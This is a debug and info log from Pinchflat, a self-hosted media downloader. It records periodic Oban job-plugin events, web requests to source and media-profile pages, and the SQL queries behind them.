[info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:23.693 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:53.696 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.179 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:23.706 [info] {"source":"oban","duration":3355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:53.713 [info] {"source":"oban","duration":4126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.181 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:23.724 [info] {"source":"oban","duration":4699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:53.727 [info] {"source":"oban","duration":2145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.183 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:23.733 [info] {"source":"oban","duration":4021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:53.746 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.189 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:23.752 [info] {"source":"oban","duration":3218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:53.758 [info] {"source":"oban","duration":4661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.192 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:23.762 [info] {"source":"oban","duration":2640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:53.767 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.195 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:23.770 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:53.776 [info] {"source":"oban","duration":4514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.197 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:23.784 [info] {"source":"oban","duration":5525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:53.792 [info] {"source":"oban","duration":5888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.208 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:23.800 [info] {"source":"oban","duration":5641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:53.811 [info] {"source":"oban","duration":4179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.219 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:23.816 [info] {"source":"oban","duration":2894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:53.822 [info] {"source":"oban","duration":4973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.222 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:23.841 [info] {"source":"oban","duration":6624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:53.848 [info] {"source":"oban","duration":4663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.225 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:23.855 [info] {"source":"oban","duration":4446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:53.863 [info] {"source":"oban","duration":5579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.227 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:23.874 [info] {"source":"oban","duration":5630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:53.888 [info] {"source":"oban","duration":7139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.230 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:23.896 [info] {"source":"oban","duration":3586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:53.905 [info] {"source":"oban","duration":5224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.232 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:23.914 [info] {"source":"oban","duration":5862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:53.926 [info] {"source":"oban","duration":3931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.234 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:23.932 [info] {"source":"oban","duration":4487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:53.938 [info] {"source":"oban","duration":2979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.239 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:23.954 [info] {"source":"oban","duration":4046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:53.964 [info] {"source":"oban","duration":4910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.246 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:16.420 [info] GET /sources/2/edit 01:37:16.420 [info] GET /sources/new 01:37:16.421 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 01:37:16.421 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 01:37:16.430 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.2ms idle=1234.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 01:37:16.431 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=241.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.435 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=865.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:37:16.435 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=245.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.436 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.437 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=246.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 01:37:16.438 [debug] QUERY OK source="settings" db=0.4ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.438 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=13.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.438 [debug] QUERY OK source="settings" db=0.3ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.439 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.440 [debug] QUERY OK source="settings" db=1.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:16.449 [info] Sent 200 in 29ms 01:37:16.449 [info] Sent 200 in 29ms 01:37:17.111 [info] GET /sources/7/edit 01:37:17.111 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 01:37:17.114 [debug] QUERY OK source="sources" db=0.7ms idle=674.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 01:37:17.115 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=675.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 01:37:17.116 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=676.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:17.117 [debug] QUERY OK source="settings" db=0.2ms idle=676.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:17.118 [debug] QUERY OK source="settings" db=0.4ms idle=556.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:17.120 [info] Sent 200 in 9ms 01:37:17.611 [info] GET /sources/6/edit 01:37:17.611 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 01:37:17.612 [debug] QUERY OK source="sources" db=0.7ms idle=496.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 01:37:17.613 [debug] QUERY OK source="media_profiles" db=0.4ms idle=496.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 01:37:17.614 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=497.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:17.615 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=496.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:17.617 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=52.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:17.624 [info] Sent 200 in 13ms 01:37:18.112 [info] GET /sources/10/edit 01:37:18.113 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 01:37:18.115 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=501.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 01:37:18.116 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=502.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 01:37:18.118 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=502.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:18.119 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=503.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:18.120 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=503.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:18.126 [info] Sent 200 in 13ms 01:37:18.616 [info] GET /media_profiles/2 01:37:18.617 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 01:37:18.619 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=502.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 01:37:18.621 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=502.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 01:37:18.623 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=503.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:18.624 [debug] QUERY OK source="settings" db=0.2ms idle=503.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:18.625 [debug] QUERY OK source="settings" db=0.3ms idle=56.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:18.628 [info] Sent 200 in 11ms 01:37:19.117 [info] GET /media_profiles/3 01:37:19.117 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 01:37:19.119 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.2ms idle=498.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 01:37:19.121 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=498.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [3] 01:37:19.122 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:19.123 [debug] QUERY OK source="settings" db=0.2ms idle=498.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:19.124 [debug] QUERY OK source="settings" db=0.2ms idle=498.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:19.127 [info] Sent 200 in 10ms 01:37:23.975 [info] {"source":"oban","duration":4813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0}